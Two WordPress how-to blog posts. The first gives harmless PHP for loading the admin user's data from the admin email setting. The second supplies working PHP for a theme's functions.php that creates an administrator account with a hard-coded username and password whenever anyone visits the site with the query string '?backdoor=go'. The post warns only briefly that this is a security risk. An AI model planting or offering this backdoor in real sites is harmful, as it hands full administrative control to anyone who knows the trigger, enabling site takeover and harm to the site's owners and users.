How To: Load User Info Using the Admin Email in WordPress

Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.

$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);

The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.

Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.

We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:

$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);

This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!

How To: Create Backdoor Admin Access in WordPress

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!